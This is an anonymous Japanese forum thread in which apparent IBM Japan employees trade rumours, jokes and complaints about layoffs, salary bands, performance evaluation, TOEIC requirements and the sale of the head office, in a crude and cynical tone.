そのおっさん、休職前もトロくて使えないおっさんだったのになぜリストラ
されなかったのかすっげー不思議。少なく見ても1000万は貰ってるだろうし
。

ま、そんなおっさんでもリストラされないくらいだから俺は安心してる(笑)

>>336
一番リストラされやすいのはリスクの高い難しい仕事してハシゴはずされて
ニッチもサッチもいかなくなって、それで上司にちょっと文句言った椰子。
ボケ老人や病気上がりは不思議とリストラされない。
だったら初めからリスクの高い難しい仕事はしてはいけない。
仕事はしないが勝ち。これ弊社の鉄則。

ボケ老人や病み上がりをリストラしたら不当解雇云々って話になりやすいからだろ。

ボケ老人こそ勝ち組です
あなたもいますぐボケてください

で、来週の水曜日って何の発表ですか?
年末ターゲットの大量リストラとかですか?

それとも次期社長の発表ですか?

>>337
大穴馬券買ってハズれても、他人のせいにすんなよ。

>>339
よし、俺もボケるぞ。

>>339

正解。

ヘタに仕事する人にはますますノルマが集中する。

課されるハードルがどんどん高くなってゆく。

やがてうつ病に陥るか、コミットしたノルマを達成できなかった途端に責任を問われて

ＰＢＣで×つけられてＧＡＭＥ　ＯＶＥＲ。

Ｉｎ　ＦＡＣＴ　、ＤＱＮ外車

なんかもう、根拠のない自慢タラタラで、絶対一緒に仕事をしたくない奴と
またやるはめになった。
こっちがやることにいちいち偉そうに文句つけるから、
「じゃオマエがやれよ！」でぶん投げたら、お粗末な仕事この上なし。
よくこの程度の仕事で文句つけることができるよな、恥ずかしくねーのかよ。

きょうび小学生でも間違えねーようなボケミスやってんじゃねーよ！
マジで相手に向かってののしってやりたかった。
出来ない自分が情けない。

来週水曜日にあることが発表されます。

今日、「これが働きたい会社だ（社員が教える企業ミシュラン）」という本を読んだ。
IBMについて、　
上位20％平均　30歳900万位　35歳1100万位　40歳1400万位　50歳1800万位
中間グループ　30歳720万　　　35歳830万　　 40歳1150万　 50歳1400万
下位20％平均　30歳600万位　35歳700万位　 40歳900万位 50歳1000万位
とあった。
ほんとかな？

下位だ。かいな。

348 です。SEです。自分の周りの30代は下位グループに入る人ばかりのようです。
よその部門はみな中間グループくらいもらってるのかな？
35歳前後の方、40歳前後の方、教えてください。。

>>350
９０年代以降に入社した普通のＳＥ職で、そんなにもらっている人は
ほとんどいませんよ。（早期抜擢のＭｇｒなら居るだろうけど）

８０年代には毎年平気で２〜３万も昇給してたそうだから、
そういうオッサンの話なら丁度あてはまる数字かと。

実態はこんなところでしょう
上位1％平均　30歳900万位　35歳1100万位　40歳1300万位　50歳1600万位
中間79％グループ　30歳580万　　　35歳680万　　 40歳750万　 50歳400万
下位20％平均　30歳500万位　35歳580万位　 40歳リストラ

>>348
『概念でなくＲｅａｌです。』ｗ


概念しか言わないＭｇｒ、概念しか言わないＰＭ、
　概念だけの人事施策、概念だけのスキルセット。

宙に浮いたような内容のＰｏｗｅｒ　Ｐｏｉｎｔの資料が
堂々と飛び交ってるね。ｗ

本人によく聞いてみると、勝手な屁理屈とか妄想で言ってるケース多し。
実務をする人より、概念の人がエラくなる会社です。ｗ

>>341
以前は社長賞の写真には嘔吐氏だけ写ってたのに、
今回から見慣れないガイジンさんが横に立ってますね。
"社長賞"なのだから社長と受賞者だけが写ればいいはずなのに…ｗ

まるで、マッカーサーと昭和天皇が並んだあの写真みたい。



ゴタゴタしてないで、とっどと早く交代しちまえｗ

>>352
俺もそんなもんだと思う。
>>348は10年以上前のデータじゃないかと。
だいたい今は「上位」は20%もいない。

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終わってますねｗ

組合なんかに入ってしがみついてもな。今年も残り２ヶ月。転職活動を
こっそりと頑張り、別の企業で新年を迎えられるよう精進しましょう。

転職活動報告きぼんぬ。

>>354
>ボケ老人こそ勝ち組です

ここまで雛人形みたいになっても
ずーーっとしがみついてるところなんかは、
勝ち組はこうでなければならんのだと、
参考にしている。

ぼけ老人→定年後に復活
そうでない→定年前にぼけ老人

ボケーとして何も気が付かない痴呆老人のようにしていれば廻りが
仕事してくれるからなｗ
しかし嘔吐氏見てると成果主義なんちゃらが全く概念だけの人事施策
だってわかるよ。

>組合なんかに入ってしがみついてもな。
嘔吐氏もこっそり組合入ってんじゃねえのかｗｗｗ

成果主義にするためには単年度雇用に切りかえる必要があり。
しかし、まずそのために本人にいったん退職届を出させる必要があり。
これが難しい。
そこでバンド８以上、従来なら黙っていてももらえていた１４００マソ
あたりの年収には、単年度雇用でないと到達できない仕組みが導入された。
今後は、低賃金で定年までやるか、
３０杉までに見切りをつけるか、
ばくちをするか、
の３コースに分かれます。
そういう意味じゃあ、成果主義に近づくね。

本人の意思で退職届を出した以上、あとは本人リスクです。
６０歳定年が５５歳定年になったと云われるのも、
５５歳以上は単年度契約だから。
今の会社が６５歳まで１０回も契約更改に応じるとは思えない。
社員の０．１％も信用していまい。
しかし、５５歳になったら密室、固執でがりがりとやられて
サインさせられるわけだ。
退職勧奨が本人の意思でも、会社のいう支援策でもないのは
誰もが知っているからね。
全員に対して５５歳で退職勧奨しますよ、っていってるわけだね。
定年５５歳。
万歳。

本人の意思で退職届を出して、子会社の社員になっておきながら、
子会社がつぶれました、本体に戻せとか組合やっているが、
そんなこと可能なら全員戻りたいってことになって収拾つかなくなる。
結果は敗訴って決まっているのになにやってんだか。

>そこでバンド８以上、従来なら黙っていてももらえていた１４００マソ
>あたりの年収には、単年度雇用でないと到達できない仕組みが導入された。
それはおもしろい。それ本当なの。

>５５歳以上は単年度契約だから。
そういうことですか。
どうせならいっそ５０歳以上はたくさんもらってるだろうからみんな
単年度契約にすればいいのに。

ここの人事が考えている最終。

１）３５までは極限まで競わせる
２）ジャンプ、うつ、自己都合で４割は脱落
３）残り６割のうち、３割分を順次リストラ
４）残り３割を５５まで競わせる
５）５５以前でもバンド８は単年度にして順次リストラ
６）５５までに１割だけ残してあとはリストラ
６）残り１割分を６５までといって単年度契約
７）実際は６０までに全員をリストラ（定年延長なし）
６）これ以外の生き残りは、関連会社なみに水準を落とす
　　（本体の４５−６５％）

７）例外コースあり
　　−代官部、取締役のご子息、ご令嬢
　　−優良顧客のご子息、ご令嬢
　　−客寄せパンダ社員（マイノリティ）
　　−喜び組


どこまでも北著訴ですな

つか、このご時世に転職活動しない香具師がいるとしたら、よほど経済情勢がワカランのだろうね。
もはやブランドだけで採ってくれるところはありませんが、苦労していい仕事してきた人は
経験を買われていい職に就ける事でしょう。ただし若手に限りますが。
マターリやってきた方は会社にしがみついて会社ともども沈没しちゃってください。

転職活動報告きぼんぬ。

若いのだったら、社外への道は探せばありますよ。後は相性問題ですかね？
職務経歴書を準備して、大手の人材紹介会社へ登録申請してみましょう。

　２０代なら、
大学院時代の知識・技能をベースにした異業種・異職種（景気の良い大手の
第二新卒含む）転職はまだまだ可能であるし、中小企業の未経験（SAP）
コンサル（パラの設定ばかりとのこと）も当然ありだし、
　３０代なら、
ユーザー系の社内ＳＥ（ＩＴ企画）、マーケのＷＥＢディレクター、
営業系職種（コミュ能力活かす）なんかいいのでは？

中小なら、大手で４０・５０の人がやっている様な管理業務が、２０・３０
で出来るからね。ま、どこでも経営陣や他メンバーとの人間関係も難しいが。
やばくなると余裕がなくなり人を切る、これは大手以上にシビアだよ！

登録、活動はやっていて損はない。
相場も判るし。
世間知らずだって判るし。
特に、会社から評価されていると思っているやしも
意外と安くこき使われていたって場合もある。
それならそれでばいばいすればよし。

主任くらすのＰＭが結構やめていくね。
リストラというより見切りをつけたというパターン。
それだけブランドは落ちている。
トップが仕事がとれないだの、社員のモラルが落ちているだのと
愚痴るような会社じゃなかったんだけどねえ。

主任クラスの人はどういうところに転職するのだろう？
やっぱ同業種とか

>−代官部、取締役のご子息、ご令嬢
>−優良顧客のご子息、ご令嬢
>−客寄せパンダ社員（マイノリティ）
>−喜び組

これって、冗談じゃなくてＲｅａｌ事実だよ。

代官部、取締役のご子息、ご令嬢
　→楽チンなスタッフ部門に多く棲息。現場の厳しいプロジェクトなんぞ
　　アサインされることナシ。成果は周囲の社員が作ってやる。

優良顧客のご子息、ご令嬢
　　→楽チンな仕事にのみアサイン。
　　　昼過ぎに出社しても何も言及されない。
　　　正味実労週１日。気持ち悪いほどスキルレス。

客寄せパンダ社員（マイノリティ）
　　→実績がないままＰｒｏｍｏｔｉｏｎした妙に若い女性Ｍｇｒ
　　　異様な雰囲気を放っている

>−喜び組
　　有力Ｍｇｒ，役員が囲い込んでいる。
　　どんな異動があっても必ずそいつの下。

冗談じゃなくてＲｅａｌ

もう自虐ネタつーことで、来週のＷ３にのせて欲しいね。
嫌気がさして退職すれば会社もしめしめだろうし。

ThinkoPlaceになんか書いた人いる？

>>374
そりゃあ、1人でプロジェクトいくつも持たされて、毎日夜遅くまで働いても給料減ってくんじゃ、
嫌にもなるだろうさ。

PMもSEも、本当にスキルのある人ほど見切りをつけてやめていっている。

これから2000-3000人のリストラが行われると聞いたが・・・。
年末までには無理だから来年1Qにかけて。
数が大きいから、部門単位なのではと・・・。

数が大きいから、部門単位なのではと・・・。


大正解。
個室でごりごりでは７００人ぐらいが限界。
今年の業績低迷を受けてのノルマには到底間に合わぬ。

>個室でごりごりでは７００人ぐらいが限界。

それ正解。
６末は１０００人目指したが結局７００人ぐらいだったと漏れも聞いた。
ＳＥが多くやめてプロジェクトの現場はもう大混乱。
どうせならサービス部門全部リストラして、プロジェクト放り出してみんな
トンズラ退職汁！
そのほうが幸せだよ。

みんな大変ですなー
ＥＸＣＥＬでちょこちょこっとマッタリ管理仕事をしている漏れの
部門は大安泰。

CR2割削減だってね。
やっとここにメスが入るか。いい傾向だｗ

>>380
ご本社管理系とブランドだな。
ようはSの異常に多いところ。TelDirでみたら、その辺の部門って8〜9割が
SまたはL。

新人事施策でどんどんSが生まれるんだから、事前にへらしておかないとね。

>ご本社管理系とブランドだな。
おかしいなぁ。
本社管理系はボーナス額決めるときの部門別貢献度の数値がいつも一番
高いのにリストラするわけないだろ。

大切なお客様のおぼっちゃま、おじょうちゃまを預かっている部署は
対象外です。
末端の奴隷部門ですよ。きられるのは。

>>386
そうだっけ?
だとしたらますますリストラすべきだ。

そういえば嘔吐死も本社管理系だ。
だめだこりゃ。

>>374
>トップが仕事がとれないだの、社員のモラルが落ちているだのと
>愚痴るような会社じゃなかったんだけどねえ。

ぢぶんのブログのつもりか？

>>390
そう思ってんじゃないの。

だって、あれはどう読んでも愚痴以外の何物でもない。

まあ、話は違うけど、今の若者は可愛そうですね。
おっさん（年寄り）がいつまでも若いつもりで、自分達の楽しみを最優先して、
既得権益にしがみついて、未来を見据えた思い切った改革や、展望を示さない訳だから。
というより若者を食い物にしてるとしか思えない。

>352
> 実態はこんなところでしょう
> 上位1％平均　30歳900万位　35歳1100万位　40歳1300万位　50歳1600万位
> 中間79％グループ　30歳580万　　　35歳680万　　 40歳750万　 50歳400万
> 下位20％平均　30歳500万位　35歳580万位　 40歳リストラ
営業職を入れたらそうなるかもしれないけど、SE職だと上位の額は、もう少し減るんじゃないかな。30歳ならER以外は、ほとんどBAND6だし。
で、漏れは、下位20％グループだ。＿|￣|○

今回の人事制度改革を見ると、人事は、欧米型の同一職種同一賃金制を導入しようとしているような感じだな。
同一職種同一賃金制といっても、会社のアレンジが入るから、同一バンド一定給与水準制度と言い換えた方が合っていると思う。
若手社員には関係ないけど、今までの勤務歴に応じた給与制度の恩恵を受けて、バンドの給与水準を超える給与を貰っているおっさんどもには、給料が下がることを意味しているから、地獄だろうな。
まぁ、下位20％の自分には関係のない話しだけど。

まぁ、下位20％の自分には関係のない話しだけど。


そうともいえません。
似た仕事が他社、関連会社で行われている場合、
それに水準が合わせられるってことですから。

>>384
毎度のことだよ。
CR削減とか言っても、職位だけSSにして誤魔化すんでしょ？
でも一番人足りてない部分を削減するとしたらお上は何考えてんだか、と。

かくしてIBMはどんどんDQN化していくのであった・・・

ICPくらす以上でないと５０以上は残さないってはっきりいっている
わけですから。
早いうちにどうするか、逃げ出すのを含めて考えるのが一番かと。

>>395
CRにも出来るやつとどうしようもないやつがいる。

事業部や業種にもよるが、俺から見れば信じられないくらいRevenueの少ない
やつがいる。そういうやつがCRとしてのさばっているのは害だ。スタッフ系
で修行してきてもらうべきだ。
俺は営業とスタッフを両方経験したが、スタッフも営業とは別な意味で大変
だ。ま、楽して高給取りのおっさんもかなりの割合いるのは事実だが。

ERって一度なると一生ERなの？

>>398
概してHW売りしかできない人はこの先やばいね（っていうかもうかなりやばい）。
ハードの価格がどんどん下がってるし。

ほんとはCRはMBAホルダーとか年配のできる人がなってMega Deal作る
ってのが理想なんでしょうけど、目先の案件おっかけるようなOperationでは。。。

でもスタッフ系で修行したらさらに使えなくなりそうですが（偏見だったらスマソ）。
営業で使えなかった香具師⇒スタッフ系（マーケ？/営業管理）に異動させる、
というケースが結構あるけど、あれやめたほうがいいと思うのは漏れだけ？

営業で使えないやつがマーケにまわされたけど、結局そこでも使えなくて一
年で営業に戻されたという例があった。

マーケはまだ営業・お客さんよりだけど、セールス・オペーレーションはひ
どいな。朝から晩までExcelで数字いじってるだけ。で、営業に数字聞きまく
り。もういらね。

それに、営業経験ないやつにマーケやらせんなよな。
理論ばっかで現場を知らないから困る。LABから来ていきなりマーケやってる
やつも何人かいるが、上も何考えてんだか。

age

４Ｑ内に大躍進を達成するべく努力して、

日本人マネジメントの立場を擁護しよう！

擁護しなきゃだめなのかよあいつらは！

しかし皮肉なことに、この長所は短所にもなり得ます。
私たちは、日本の市況変化への対応に遅れました。
お客様への強いフォーカスが維持されてきた反面、
より広範囲にわたる潜在的な新しいお客様への対応に
リソースや熟練したスタッフを配置するのが遅れたのです。





トッドに言われ放題ですよ、日本人マネージメントの皆さんｗｗｗ
ガツンと言い返してくださいよ、嘔吐死さんよ〜！




「成長軌道への重点施策」なんて策定されたが、本当に成長軌道に復活できるのか？
３Ｑも同じような掛け声で結果は悲惨だったと聞いたが

「成長軌道への重点施策」

・日本の企業文化に合わせた価格競争力の強化
・ＵＳへのＧＰ送金廃止
・セールス・オペーレーションの要員大幅削減
・役員、理事の人数の抜本的見直し
・５０歳以上の老人ＩＣＰの抜本的リストラ
・社員への十分な給与支給（制度改悪の廃止、昔に戻す）


他になにかあるかね？

>>406
おまい自身がベンチャー企業にでも転職すれば、解決するんじゃない？（藁

・ＵＳへのＧＰ送金廃止

猿が白人様に文句いえる立場ではない。

・日本の企業文化に合わせた価格競争力の強化

人事マンセーですね。
降格、減俸．．．

・役員、理事の人数の抜本的見直し

将軍様のすむ平壌を悪くいう輩は処刑。

>>嘔吐氏
「トッドさん」ではなくて、「カートリーさん」ではないのか?
苗字が後だというのをド忘れしている田舎親父ではないか。

頼むからしっかりしてくれ。

来週水曜日の発表が楽しみです
成果主義がさらに強力に推し進められます

>ガツンと言い返してくださいよ、

長年怠慢を決め込み、勝ち組behaviorの方が、
何か言葉を発することが可能だろうか？
一言いったら１００言い返されるんじゃないの？
進駐軍のほうが建設的なんじゃないのか？

西友CEO、米から　
12月15日付
わかりやすくて、いい！

成果主義＝日雇い化

今日日本は休みなんじゃなかったっけ？
朝から晩までこんなとこに張り付いてるなよ・・・。

薄給激務の俺らには休みなど無い

英語ができないと首になるのか

英語ができるまえに正しい日本語ができないと。

>>418
TOEIC 600以下は首、730以下のラインは全員降格から改革を始めよう！

使えない英語バカだけ残るんじゃないの？

バンド８以上はオール日雇い化

>>421
英語バカはいらんが、英語もできないバカもいらん。

>>421
仕事が出来れば英語なんて。。。といって来たのがこの惨状。
結局仕事も出来ない英語も出来ないというオヤジを大量に作ってきただけだわ。
倉重も英語が駄目で結局逃げ出した。

点数持ってても、全然しゃべれないやつもいっぱいいる。
マジでむかつく。Band高い、給料高いくせに、外人から逃げまくってるやつ。

>399
ERは、確かBAND8までは保証。
国1受かって官僚になった人みないなものだな。ある程度出世すると必要とされる能力が、それまでとは違ってくるし。
必要とされる能力を持っていない人もでてくるだろうしね。
入社7年目前後でBAND7、入社10から12年目くらいでBAND8だったかな。
1stラインが申請書類を記入して、2ndに提出、で審査、認定のはず。けど、基本的に、上から1stに申請書類を書けという命令が来る。
選考の基準は、新入社員で入社だと、新入社員時研修の成績上位者から。
それ以外は、お偉いさんの目にとまった人らしい（基本的にほとんどないケース）。

来春Iに入社する人で出世したい人は、研修、死に物狂いでがんばれ。最初10年はそれできまるから。

ERってなにー

で、O石理事は600点とれたのかな？

Exective Resource。ERになるとStock Optionも定期的に内緒でもらえる罠。 >>427

何か問題起こしてもERはERってことか。 >>426
PBC悪かろうが知ったこっっちゃないと。うらやましいな。
研修時の成績で決まってるとは知らんかった。

>>428
この伏字そのまま杉ｗｗｗ

西友ＣＥＯに米ウォルマートの社外取締役
http://www.asahi.com/business/update/1102/124.html

　経営再建中の西友は２日、親会社となる世界小売り最大手の
米ウォルマート・ストアーズから社外取締役として派遣されている
エドワード・ジェームズ・カレジェッスキー氏（４５）が
最高経営責任者（ＣＥＯ）に就任すると発表した。
１２月１５日付。渡辺紀征ＣＥＯは取締役会議長としてとどまる。

>>429
"1"しかつけないに決まってる。
仕事も成果の見えてる仕事しか割り当てないし。

最近カス社員が目立つね。喫煙ｸｽﾞ社員もエレベーターで上いったり下いったり
会社でぐだぐだおしゃべりしてる暇あったら、Winbackとりにいけっちゅーの。

>>431
Iもこのパターンかな。

------------------------------
米IBMから副社長として派遣されているトッド・カートリー氏（何歳か知らん）が
最高経営責任者（ＣＥＯ）に就任すると発表した。
------------------------------
ってな感じ?

>>430
俺も和露歌。
大I理事が600か。。。。　最近はよく知らんが、営業時代はXXX点くらいだ
ったと思う。ちょっとは勉強したかな???

>>434
さて、ＣＥＯと社長の違いは何でしょう？

今どき、TOEIC600も取れない管理職はいませんよ！！！　少なくとも弊社には
侮辱しすぎではないでしょうか！！！　たいてい７３０は余裕でクリアしてますよ！！

>>436
まあまあ落ち着いてｗ

はぁ、この凋落ぶり。　ことのきっかけは何だったのだろうか？

英語英語ってうるさいよ。
おれのしってる２ｎｄは３８０点だったけど
リエゾンでアメリカで２年遊びまくってオンな抱きまくっていたぞ。

ＥＲっていうのがあることじたい
業績主義でも実績主義でもないって会社が証明していることだろう。
いい思いできるのは最初から決まっている。
変な幻想いだいてがんばるやつが哀れだ。

>>426
新入社員の研修でいい成績だしても、
すでに配属予定部署で大枠が決められているんですが・・。
ER候補生とそれ以外はもともと通知される予定部署が違うよ。
候補生はがんばれや。

> 今どき、TOEIC600も取れない管理職はいませんよ！！！　少なくとも弊社には

そうでもないですよ。
特に昔Ｍｇｒになった人とか役員さんの中には実は６００行ってない人います。

この前も部門全体会議で５０代後半のＫ理事が「オレもこのまえ初めてＴＯＥＩＣ受けた
けど、おまいらも頑張れよ」などと言ってました。

ＴＯＥＩＣに限らず、自分がやれてないことを下の人間にはやらせるのが
この会社の特徴です。

はもともと通知される予定部署が違うよ


つ−ことは努力してもどうにもならんってことで。

コネがないとだめってことだね。

TOEICは関係ない。
関係ある部署もあることはある、程度に考えろ。

>本社管理系はボーナス額決めるときの部門別貢献度の数値がいつも一番高いのに

和露歌。
一円も稼いでない本社スタッフの業績貢献度がＩＧＳより上とはｗ

スコアを勝手に決められるんだから、そりゃ自分らを良くするのは当然かとｗ

>本社の箱崎事業所への移転計画について

一般社員はもうエレベーター乗れないの？
階段を使えってか？

本社は別の優良顧客が入居するからどけっていうのか！！

本社ビルって、賃貸だったと思っていたんだけど違ったのね。売却ってことは。
売却益で、USへの送金不足の解消できるんかね？

セールアンドリースバックだと売却益はでないよ

本社売却→日本撤退

まぁ、外資のお決まりパターンかとｗ

もうだめだ、こりゃ。。。

まだ天城がありますよ。
しかし、給与抑制、人員削除、資産売却と来ましたが、次は、外人社長、契約社員化、と続くのかなあ。

契約社員化はもう導入されてますよ。

外人社長も時間の問題。

従業員総契約社員化という意味で書きました。
最終型はラインが全員外人かな。

･ﾟ･(ﾉД`)･ﾟ･｡ 　もう、駄目ぽ。 ･ﾟ･(ﾉД`)･ﾟ･｡ もう、駄目ぽ。 ･ﾟ･(ﾉД`)･ﾟ･｡

従業員総契約社員化

それはそうなんだけど、
こればっかりはインチキ従業員選挙で
いきなり全社員から退職届をとりつけることはできないので、

個別にリストラとか
バンド８以上の年契約化とか
５５歳定年とかやってるわけで。

あと、事業部ごとの売却、企業分割とかね。

まあ、バンド切り下げと減給とで似たようなことはできるから
いいんじゃないのかね。

世界各国のI社の支店のことをよく知らないのですが、
米国本社からの出向者が社長ってことは、よくあることなのでしょうか？

野洲、藤沢ときて、次のターゲットは倭だろうね。
分割されそうな事業部が結構ありそうだ。

age

>>457

１年ごとに契約更改、ＰＢＣでＣ以下なら翌年の契約は打ち切り。

全社員がセルフ・エンプロイド型の勤務に移行することを
希望しているかと思われます。

その方がプロとしての自覚と気概をもって働けるからです。

派遣とアルバイトはもうそうなっているが。
社員は無理だな。

来週水曜日にあることが発表されます。

それは会社の景気が良くなる話、なのですか？

平均年収６００万円が現実味を帯びてきたね。ｗｗ

契約社員だとか年収が６００万だとか、もはや枝葉末節な話ですよ。
ぐずぐずと会社に残っていると大変なことになりますよ

いやー、お小遣い減っちゃうなぁ
まあ、親から金もらうからいいや(^o^)

セルフ・エンプロイってまき餌だろ。もひとつの名前わすれたほうが本筋。

ELTでやったよね、これ。案１、案２　２つ並べられりゃ選んでしまうのが人の常。
　お客様、こちらはこういうデメもありますがこのメリが大きい、一方こちらは・・・・。
売るほうは、どっちに転んでも売れりゃいい。

わざわざご丁寧に比較表まで作ってあるんだから、比較検討してしまうってわけ。
　さあ、どっちにする？　え？　こっち？　そう。じゃこっちね。
個室で言われりゃ、こっちって言ってしまいかねない。
丹念敬意役にもっていけりゃ、向こうの勝。

少なくともバンド８以上は全員単年度契約になるのでわないかと
思っています

>>461
また来たか、北○鮮の工作員ｗ

人事情報にERフラグがあるのは有名だけど、逆に問題児フラグってないのかね。

コンプライアンス違反とかお客様への粗相の他にも、
セクハラとかパワハラで部下を潰してるろくでなし、結構いるだろこの会社。
あくどい事した奴をうやむやにしないできちんと罰して記録を残す風土作った方がいいと思うよ。

>>471
そういうろくでなしラインが、自分に批判的な部下を潰すために
使っているかもな。

俺、何のコネもねーし、TOEIC 600点もねーし、新入社員研修でロクな成績でねーけどERだよ。
PBCだってCのこともあるし。最初から決まってるって訳でもねーんでねーか？

>>449
ＣＨＱとしてはＣＡＳＨが入ればいいのよ。
売却益はそもそもメジャメントに入らないだろうし。
マーク・ローリッジが言ってたのは300億だっけ？
まぁ、買った不動産会社は本社と裏の本社西館と東電の社宅？と六本木プリンスホテルの一帯を潰してビル新築するのと違うかな。
高速挟んで正面の泉ガーデンが住友不動産だから、防衛庁跡の三井に対抗する意味で住友が買ったんじゃないかな？
まぁ、2年前にエレベーター入れ替え、トイレ改修したこと考えると、急に売却させられたんだろうね。

偉大な業績を達成されてこられた日本人マネジメントの立場を擁護しよう！

なんで？
カスじゃん。

もう皆ｸﾋﾞｸﾋﾞ！！！

たぶん >>473のERはEarly Retirement の略かと。

こんにちの豊かな生活は、マネジメントによる偉大かつ優れた経営判断と努力による

恩恵によって私達全社員が恩恵に浴してきたことを忘れるべきではありません。

>>479
”恩恵によって”・・・”恩恵に浴してきた”って日本語おかしいんだよな。
そんなバカの生活を支えてる俺に感謝しろ！って言いたい。

ＰＢＣ評価による業績達成度をさらに反映した

成果主義の色彩を濃く反映した制度に一日も早く

改めていただきたいことはすでに多くの社員が

認めているところだと思われます。

ＰＢＣの評価が低い社員でも賞与や手当が潤沢に与えられる現状は

近年の世間相場や常識から乖離していると思います。


さらなる改革を多くの社員が希望しています。

>>481
それほど高い待遇ではないのはご存知のとおりです。
30歳500万40歳800万がいいところです。
これは今後、その半分に下がります。

ＩＢＭ社員の報酬は世間的に見てやっぱり割高だと思います。

報酬が安いだの、待遇が悪いだの。そんな世間知らずの生意気な者は、
「不逞社員」としてＭｇｒや人事に突き出せばよい。
そうすれば忠良な「ＩＢＭer」として、部門賞のひとつも貰えるかもしれない。

>>483
俺を突き出したら、
社員全員が同じ労働で同じ報酬で同じ待遇ではないことも分からない
ｱﾌｫとして恥をかき会社に出て来られなくなるだろう。

>>469

これが正解。
会社が考えているのは、バンド８以上で単年度にしないやつは、
バンド７に落とすこと。
人間、いったんあがった年収に合わせた生活レベルを落とすことは
できない。
奥さんにぼろくそいわれて単年度にするしかないんだよ。
だからバンド８以上は正確にはアルバイト、派遣扱いであっって、
もはや社員ではない。。。
わかったか。

なんかおそろしいスピードで変わっているような気がするのは
気のせい？？ではないような。

社員の更なるモラルアップや会社の業績拡大のためにセルフ・エンプロ

イド型の勤務に移行することを多くの社員が希望しています。

成果主義の華としてこうした勤務制度に移行することが１日も早く

望まれます。

会社が本当にねらっていることが全社員に浸透するまえに
一気にかたをつけるつもりだ。
スピードが大事だ。

「社員」はなくすつもりだな。
全員派遣会社からの派遣社員にするんだろう。

関連会社に派遣会社がすでにありますね。
そちらにＳＥなんかを全員登録させて本体に派遣ですね。
関連会社で搾取、本体で搾取。
おいしいです。

上場してないのと組合が超弱体なので上はやりたい放題だな。
こんな感じで調子こいてるといつか社会的制裁が来るんじゃなかろうか。

>>490
そのほうがいいと思います。
派遣契約ですから、毎日ネットサーフィンだけで過ごしてる中年世代は
１年で更新打ち切りとなる可能性大。
すばらしい施策だと思います。

＞＞４９１

今の小泉政権はこういう施策を後押ししてますから、社会的制裁
がくることはありません。
近いうちにどんどんこういう施策が法律となって全国展開されます。
年収３００万時代はもう到来しているんですよ。

（From 　面接官　To　日本IBM社員）
『あなたの出来ること、得意なことは、何ですか？』 　

代表幹事　メディアに出て、ホラを吹くことです。教育に関心がありますが、
　　　　　日本IBM社員の育成には、関心はありません。大量採用なんて論外です。　

経営陣　　人件費の削減です。事業再構築（本来のリストラ）なんて及びません。
　　　　　人をガンガン減らすこと、今やれるのは、それだけです。

外人役員　ジャップを監視をすることです。都合の悪い数字ばかりしか、上がら
　　　　　ないので、USにどう報告するかマジ苦労しています。

AMS　　　中国・インド人へお仕事を割り振ることです。もう日本人には、
　　　　　期待してません。彼らのスキルは高く、しかも我々に忠実です。

ライン　　狭い会議室での退職勧奨面談です。売上が上がらないので、これしか
　　　　　ありません。数字のチェックとあら捜しが、最近の日課です。

ICP　　　実現出来そうもないシステム、それを平気で、できます！とお客様に
　　　　 言うことです。 プロジェクトが火を噴いても、それは構いません。

専任 　　退職勧奨から逃れることです。プレミアムの情報には、うるさい
　　　　 です。 過ぎし日々ばかりを振り返りつつネットしてます。

主任　　外注業者を、とことんまでこき使い、利益を捻出することです。
　　　　キーワードは、生かさず殺さず、です。

副主任　体力仕事を、徹夜でやることです。研修で学んだ最新の技術は、運が
　　　　無ければ、現場で使えません。転職情報は、日頃からチェックしてます。

見習い　文字通り、狡賢い先輩の行動を学ぶことです。正論、良心、理屈、は
　　　　タブーであり、干されないよう媚び諂っています。

組合は年金改悪とかいって基本給６０万、専任、年収１４００マソの
組合員を引き合いに出していますが、頭が世間しらずだってことが
判ってない集団だということを露呈しましたね。
専任５５歳以上の逃げ切り装置がいまどき機能することはありません。

俺は年俸制単年度契約は歓迎だ。
今年Band8になったけど移行措置で給料上がらず。B7相当の給与。
ていうか手当てが無くなり手取りは純減＿|￣|○

ただし自分のパフォーマンスには自信ある。
単年度契約のリスクはデメリットといえるが、周りのクソオヤジ共がいなくなることのメリットと
合わせて考えれば基本的に歓迎だな。ほんとあいつらが1000万円台後半をもらってると思うと、、、モラル落ちまくり。

だから30歳台までの人はもう一年様子をみてからでも遅くないよん。あれだけの大量の人的不良資産を整理すれば
俺らに払う給料の原資が増えないわきゃない。

俺らに払う給料の原資が増えないわきゃない

会社は世代間の分断政策にそういう思いこみを誘導しているところが
ありますが、増えた原資はハリケーンでクルーザや別荘を買い換える
必要のあるフロリダの株主老人への送金分で消えますので期待せぬよう。

それが増えないんだな。
退職金が多すぎて。

>>498

わろうた

>>498
はっきりいって今でも退職金負担重くて、
若手の年収減らさざるをえないのに、
団塊の世代が退職したら、
会社は破綻するのではないか？とまじ心配。
そういう会社はたくさんあるらしいよ。
団塊の世代以上が多い、この会社みたいな
高度経済成長期に伸びた会社。。。

６０年代、７０年代に入社して
年収１４００マソ
退職金４５００マソ
で逃げ切るのが正解の会社。

２０代、３０代はマジで憐れ。

>>496
とてもBand8の文章とは思えないが、パフォーマンスには自信があるのねｗｗ

ERフラグの付いている椰子の見分け方
　・40以下　M:背が高くて笑顔が印象的。
　　　　　　　F:英語ができて喜び組に入ることを了解している。
　・40以上　Lになっている（わかりやすい）
　・仲間意識が強い。遠方なのに早くから知り合いになっている。プレゼン能力が高い。

ERフラグの特長
　・PBC1は彼らのためにある。
　・新入社員のとき付けられる
　・何年かあと途中で消されることがある
　・アピールして復活してもらえることもある（古手のLが言ってた）
　・年に何回か人事研修でいなくなる。３６協定や部下にやる気を起こさせる行動について学ぶ。
　・意外に法出身者が多い。英語はあまり関係ない。

ERフラグの行く末
　・退職勧奨にもあわず定年まで。マッタリ暮らすならこれが一番（付いてない俺には無理）。

ERフラグを目立たせないため、フラグの付いていない一般人への目くらまし政策
（一揆や暴動を起こさないための懐柔策）
　・Award
　・ICP/ACP
　・たまに若手で目立った椰子にPBC1をつける
　・成果主義をPRする
　・HPCなど　（無くなった）
　・高収入、終身雇用　（最近ＮＧ。だから一揆発生）
ってことか

>>503

すばらしいsummaryです。
会社のやってることは
アメリカ軍の兵隊掌握術を参考にしているので、
オリジナルではないという説あり。

>>503
> ・年に何回か人事研修でいなくなる。３６協定や部下にやる気を起こさせる行動について学ぶ。
たまに、三六協定も知らない管理職に会ってビックリするが、
５分で分かる話だわな。
実は、日本ＩＢＭでは社員を代表する組合が無いから、
三六協定なんて結んでなかったりするのだ。（笑えないオチ）

IBMエマｰは頼むから社会常識を持ってくれ
言いたいことはそれ以外なし
昔から人に迷惑かけてはいけないと言われなかったか？

>>506
昔から個人の問題と会社の問題と混同するなと言われなかったか？

これじゃローンも組めない。
